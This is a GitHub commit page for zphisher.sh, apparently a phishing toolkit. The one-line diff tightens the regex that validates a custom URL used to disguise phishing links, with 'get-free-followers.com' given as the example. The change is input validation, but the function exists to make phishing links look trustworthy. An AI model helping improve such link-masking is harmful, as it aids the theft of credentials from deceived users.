Skip to content

Commit cce90c5

Browse files
htr-techE343IO
andcommitted
Fixing "One" Line of code
Co-authored-by: E343IO <[email protected]>
1 parent 1c1592b commit cce90c5

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

zphisher.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -596,7 +596,7 @@ custom_mask() {
596596
if [[ ${mask_op,,} == "y" ]]; then
597597
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
598598
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
599-
if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
599+
if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then
600600
mask=$mask_url
601601
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
602602
else

0 commit comments

Comments
 (0)